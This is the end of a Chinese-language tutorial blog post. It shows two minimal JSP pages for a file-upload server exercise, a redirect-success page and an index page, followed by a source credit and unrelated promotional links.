 1 <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
 2 <html>
 3 <head>
 4     <title>Title</title>
 5 </head>
 6 <body>
 7 
 8     <h3>跳轉成功</h3>
 9 
10 </body>
11 </html>

7、index.jsp(FileuploadServer)

1 <html>
2 <body>
3 <h2>Hello! FileuploadServer</h2>
4 </body>
5 </html>

學習資料來源:黑馬程序員

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案